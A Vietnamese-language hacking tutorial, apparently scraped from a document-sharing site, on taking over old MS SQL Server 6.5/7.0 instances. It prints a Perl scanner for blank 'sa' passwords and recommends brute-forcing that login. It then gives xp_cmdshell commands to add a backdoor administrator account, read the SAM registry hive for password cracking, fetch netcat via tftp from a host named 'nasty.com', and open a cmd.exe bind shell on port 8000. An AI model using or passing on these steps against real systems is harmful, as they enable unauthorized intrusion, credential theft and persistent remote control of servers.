intTypePromotion=1
zunia.vn Tuyển sinh 2024 dành cho Gen-Z zunia.vn zunia.vn
ADSENSE

Tấn Công Ms Sql Server, (cách cổ điển)

Chia sẻ: Ai Dieu | Ngày: | Loại File: DOC | Số trang:3

309
lượt xem
44
download
 
  Download Vui lòng tải xuống để xem tài liệu đầy đủ

Hồi giờ chúng ta tấn công vào server dùng MS SQL Server đa phần là dùng kĩ thuật SQL injection , đây là kĩ thuật hack phải nói là hay nhất , hiệu quả cao và nhanh chóng nhất , tuy nhiên trong bài này tôi sẽ đề cập đến 1 cách khác để hack vào MS SQL Server , cách này tuy xác suất thành công không cao bằng SQl injection nhưng cũng đáng để quan tâm bởi vì đâu phải lúc nào chúng ta cũng tìm thấy lỗi SQl injection ....

Chủ đề:
Lưu

Nội dung Text: Tấn Công Ms Sql Server, (cách cổ điển)

  1. Tấn Công Ms Sql Server, (cách cổ điển) trang này đã được đọc  lần  Giới thiệu : hồi giờ chúng ta tấn công vào server dùng MS SQL Server đa phần là dùng kĩ thuật SQL injection , đây là kĩ  thuật hack phải nói là hay nhất , hiệu quả cao và nhanh chóng nhất , tuy nhiên trong bài này tôi sẽ đề cập đến  1 cách khác để hack vào MS SQL Server , cách này tuy xác suất thành công không cao bằng SQl injection  nhưng cũng đáng để quan tâm bởi vì đâu phải lúc nào chúng ta cũng tìm thấy lỗi SQl injection . Cách này của chúng ta tạm gọi là "TRSQL" vì đa phần là nhờ may mắn , nhưng chả hiểu sao hồi trước tới giờ  tôi thấy cái may mắn này lại hay xảy ra . Công cụ đầu tiên chúng ta cần là sqlbf (SQL Brute Force ) cái này cứ vào packetstorm mà tìm . Và cái tool connect vào MS SQL Server : http://www.hvaonline.net/exploite/SqlExec.exe Chúng ta bắt đầu : Hầu hết MS SQL Server đầu chạy trên TCP port 1433 , còn nếu chạy trên port khác thì mình dùng công cụ  scan là cũng ra ngay thôi . Cái MS SQL server mà chúng ta bàn luận ở đây hơi cũ chút là : SQL 6.5 & 7.0 .  Tuy cũ nhưng tôi vẫn viết ra ở đây mục đích là học hỏi kinh nghiêm chứ không phải mục đích là tìm mục tiêu  để hack phá phách . Download sqlbt về xong thì run nó , rất dễ dùng , công việc của nó là kiếm password cho  chúng ta login . Nhược điểm của MS SQL server thứ nhất là mặc định system administrator là "sa" , do đó  chúng ta không cần phải brute cái username mà chỉ cần brute force cái password là đủ , thứ 2 là default  password của sa là "không có gì hết" , cái này mới chết người , ai cũng quan niệm là "chỗ nguy hiểm nhất  chính là chỗ an toàn nhất" , bởi vậy password là "không có gì hết" thì đố ai ngờ được , sai lầm chết người của  nhiều người quản trị mạng ở chỗ đó , vì chúng ta có sqlbf tool nên ai có suy nghĩ đó là chết liền . Sẵn đây tôi cũng giới thiệu với các bạn cái tool scan server có password là "không có gì hết" : save lại nội dung code sau thành file senseql.pl , và run : ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ • scans for hosts with blank passwords • Brute Forces login attempts. #!/usr/bin/perl ## SQL username/password checker ## Parameters: senseql    ## Eg. to check for blank SA: ## senseql 10.0.0.1 sa "" ## Roelof Temmingh / Haroon Meer ## roelof@sensepost.com / haroon@sensepost.com ## SensePost IT Security ## http://www.sensepost.com/ http://www.hackrack.com/ ## 2001/11/09 use IO::Socket; $|=1; if ($#ARGV
  2. $port=1433; $host=$ARGV[0]; $username=$ARGV[1]; $pass=$ARGV[2]; $unh=pack("a30",$username);$psh=pack("a30",$pass); $numu=pack("c",length($username)); $nump=pack("c",length($pass)); $FRONT="0200020000000200000000000000000000000000000000000000000000000000000 00000000000"; $REST="30303030303061300000000000000000000000000000000000201881b82c08030106 0a090101000000000000000000737175656c646120312e30000000000000000000000000000 000000000000b00000000000000000000000000000000000000000000000000000000000000 00"; $REST2="0000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000 000000040200004d5344424c49420000000706000000000d110000000000000000000000000 00000000000000000000000"; $hfront=pack("H*",$FRONT);$hrest=pack("H*",$REST);$hrest2=pack("H*",$REST2) ; $FULL=$hfront.$unh.$numu.$psh.$nump.$hrest.$nump.$psh.$hrest2; $SENDY2="020100470000020000000000000000010000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000003030300000000300000 0"; $SENDY2 = pack("H*",$SENDY2); print "$host:$username:$pass:"; $remote = IO::Socket::INET­>new(Proto=>"tcp",PeerAddr=>$host,PeerPort => $port) || die "No SQL here man..."; print $remote $FULL; print $remote $SENDY2; recv($remote,$back,100,MSG_PEEK); if ($back =~ /context to 'master'/) {print "Yep ­ go for it\n"} else {print "No dude..\n";} close ($remote); Lets move on… at least to admins who have had the sense to change the admin password ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ Giả sử như sqlbt tìm ra password của sa và login vào với username "sa" , chúng ta phải làm gì đây để nắm  hoàn toàn hệt thống ? Giờ đây chúng ta có thể dùng Stores Procedures , đặc biệt là xp_cmdshell , vấn đề bi giờ giống như là chúng  ta hack bằng SQL injection mà có quyền "sa" vậy . Sẵn đây tôi sẽ giới thiệu cho các bạn biết sơ về các  Extended Stores Procedures cần thiết và chức năng của nó : xp_regread ­ reads a registry value xp_rewrite ­ writes to the registry xp_regdeletekey ­ deletes a key
  3. xp_regdeletevalue ­ deletes a key's value xp_regenumvalues ­ lists names of value entries xp_regaddmultistring ­ adds a multistring (zero­delimited string) xp_regremovemultistring ­ removes a multi string (zero delimited string) Nhiệm vụ chính của chúng ta hiện giờ là , add ADMIN , đổ SAM và UPLOAD Backdoor . Thêm tài khoản vào Administrators Group : ( username : Mask_NBTA , password : hacked ) Xp_cmdshell 'net user Mask_NBTA hacked /ADD' Xp_cmdshell 'net localgroup /ADD Administrators Mask_NBTA' Đổ SAM : Có quyền admin thì đọc file SAM và Crack bằng L0pth Crack 4.0 : ( máy tôi pentium 4 1.7 Ghz crack 2 user  mất khoảng 7h ) Xp_regread 'HKEY_LOCAL_MACHINE','SECURITY\SAM\Domains\Account ','F' Tại sao thông qua "sa" ta có thể làm nhiều việc như vậy , tại vì mặc định SQL Server chạy với quyền "local  system" UPLOAD Backdoor : Các bạn có thể dùng backdoor gì tuỳ thích , ở đây tôi dùng netcat ( xưa giờ vẫn ko thấy con nào hay hơn con  này ) : xp_cmdshell 'tftp –I nasty.com GET nc.exe c:\nc.exe' và thi hành nó bằng cách : xp_cmdshell 'c:\nc.exe –l –p 8000 –e cmd.exe' Sau đó vào DOS , telnet vào server ở PORT 8000 Xong , với 3 công việc này bạn đã biết phải làm gì khi có được "sa" ở MS SQL Server . Àh , nếu bạn nào vô tình bằng cách gì đó có được password HASH của "sa" thì tôi xin giới thiệu 1 cách để  crack password này rất hiệu quả . Hướng dẫn cặn kẽ và có tool sãn ở đây : http://www.ngssoftware.com/ tìm file cracking­sql­passwords.pdf  

CÓ THỂ BẠN MUỐN DOWNLOAD

 

Đồng bộ tài khoản
4=>1